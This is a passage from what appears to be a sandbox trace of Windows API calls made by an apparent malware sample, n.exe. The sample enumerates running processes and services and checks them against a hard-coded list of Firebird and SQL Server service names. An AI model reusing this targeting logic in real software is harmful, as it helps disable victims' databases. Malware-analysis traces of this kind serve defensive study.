szExeFile="svchost.exe")) returned 1 [0151.109] lstrlenW (lpString="svchost.exe") returned 11 [0151.109] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0151.110] lstrlenW (lpString="userinit.exe") returned 12 [0151.110] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0151.110] lstrlenW (lpString="explorer.exe") returned 12 [0151.110] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0151.110] lstrlenW (lpString="dwm.exe") returned 7 [0151.110] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.111] lstrlenW (lpString="svchost.exe") returned 11 [0151.111] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0151.111] lstrlenW (lpString="n.exe") returned 5 [0151.111] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0151.111] lstrlenW (lpString="spoolsv.exe") returned 11 [0151.111] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.112] lstrlenW (lpString="svchost.exe") returned 11 [0151.112] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0151.112] lstrlenW (lpString="taskhost.exe") returned 12 [0151.112] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0151.112] lstrlenW (lpString="reader_sl.exe") returned 13 [0151.112] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0151.113] lstrlenW (lpString="rundll32.exe") returned 12 [0151.113] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0151.113] lstrlenW (lpString="dinotify.exe") returned 12 [0151.113] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0151.113] lstrlenW (lpString="n.exe") returned 5 [0151.113] Process32NextW (in: hSnapshot=0x328, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0151.113] CloseHandle (hObject=0x328) returned 1 [0151.114] Sleep (dwMilliseconds=0x1f4) [0151.649] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0151.650] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0151.650] GetLastError () returned 0xea [0151.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0151.650] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0151.651] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0151.651] lstrlenW (lpString="Appinfo") returned 7 [0151.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0151.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0151.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0151.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0151.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0151.651] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0151.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0151.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0151.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0151.652] lstrlenW (lpString="AudioSrv") returned 8 [0151.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0151.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0151.652] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0151.652] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0151.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0151.652] lstrlenW (lpString="BFE") returned 3 [0151.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0151.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0151.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0151.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0151.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0151.652] lstrlenW (lpString="CryptSvc") returned 8 [0151.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0151.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0151.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0151.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0151.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0151.652] lstrlenW (lpString="CscService") returned 10 [0151.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0151.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0151.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0151.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0151.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0151.652] lstrlenW (lpString="DcomLaunch") returned 10 [0151.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.652] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0151.652] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0151.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0151.653] lstrlenW (lpString="Dhcp") returned 4 [0151.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0151.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0151.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0151.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0151.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0151.653] lstrlenW (lpString="Dnscache") returned 8 [0151.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0151.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0151.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0151.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0151.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0151.653] lstrlenW (lpString="DPS") returned 3 [0151.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0151.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0151.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0151.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0151.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0151.653] lstrlenW (lpString="eventlog") returned 8 [0151.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0151.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0151.653] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0151.653] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0151.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0151.653] lstrlenW (lpString="EventSystem") returned 11 [0151.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0151.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0151.653] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0151.653] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0151.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0151.653] lstrlenW (lpString="gpsvc") returned 5 [0151.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0151.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0151.654] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0151.654] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0151.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0151.654] lstrlenW (lpString="iphlpsvc") returned 8 [0151.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.654] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0151.654] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0151.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0151.654] lstrlenW (lpString="LanmanServer") returned 12 [0151.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0151.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0151.654] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0151.654] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0151.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0151.654] lstrlenW (lpString="LanmanWorkstation") returned 17 [0151.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.654] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0151.654] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0151.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0151.654] lstrlenW (lpString="lmhosts") returned 7 [0151.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0151.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0151.654] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0151.654] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0151.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0151.654] lstrlenW (lpString="MMCSS") returned 5 [0151.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0151.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0151.655] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0151.655] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0151.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0151.655] lstrlenW (lpString="MpsSvc") returned 6 [0151.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0151.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0151.655] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0151.655] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0151.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0151.655] lstrlenW (lpString="Netman") returned 6 [0151.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0151.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0151.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0151.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0151.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0151.655] lstrlenW (lpString="netprofm") returned 8 [0151.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0151.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0151.655] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0151.655] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0151.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0151.655] lstrlenW (lpString="NlaSvc") returned 6 [0151.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0151.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0151.655] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0151.655] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0151.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0151.655] lstrlenW (lpString="nsi") returned 3 [0151.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0151.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0151.655] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0151.656] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0151.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0151.656] lstrlenW (lpString="PcaSvc") returned 6 [0151.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0151.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0151.656] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0151.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0151.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0151.656] lstrlenW (lpString="PlugPlay") returned 8 [0151.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0151.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0151.656] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0151.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0151.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0151.656] lstrlenW (lpString="Power") returned 5 [0151.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0151.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0151.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0151.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0151.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0151.656] lstrlenW (lpString="ProfSvc") returned 7 [0151.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0151.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0151.656] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0151.656] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0151.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0151.656] lstrlenW (lpString="RpcEptMapper") returned 12 [0151.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.656] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0151.656] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0151.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0151.657] lstrlenW (lpString="RpcSs") returned 5 [0151.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0151.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0151.657] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0151.657] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0151.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0151.657] lstrlenW (lpString="SamSs") returned 5 [0151.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0151.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0151.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0151.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0151.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0151.657] lstrlenW (lpString="Schedule") returned 8 [0151.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0151.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0151.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0151.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0151.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0151.657] lstrlenW (lpString="SENS") returned 4 [0151.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0151.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0151.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0151.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0151.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0151.657] lstrlenW (lpString="ShellHWDetection") returned 16 [0151.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0151.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0151.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0151.657] lstrlenW (lpString="Spooler") returned 7 [0151.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0151.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0151.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0151.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0151.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0151.658] lstrlenW (lpString="SysMain") returned 7 [0151.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0151.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0151.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0151.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0151.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0151.658] lstrlenW (lpString="Themes") returned 6 [0151.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0151.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0151.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0151.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0151.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0151.658] lstrlenW (lpString="TrkWks") returned 6 [0151.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0151.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0151.658] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0151.658] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0151.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0151.658] lstrlenW (lpString="UxSms") returned 5 [0151.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0151.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0151.658] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0151.658] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0151.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0151.658] lstrlenW (lpString="WdiServiceHost") returned 14 [0151.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0151.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0151.659] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0151.659] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0151.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0151.659] lstrlenW (lpString="WdiSystemHost") returned 13 [0151.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0151.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0151.659] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0151.659] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0151.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0151.659] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0151.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0151.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0151.659] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0151.659] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0151.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0151.659] lstrlenW (lpString="Winmgmt") returned 7 [0151.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0151.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0151.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0151.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0151.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0151.659] lstrlenW (lpString="WPDBusEnum") returned 10 [0151.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0151.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0151.659] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0151.659] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0151.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0151.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0151.659] 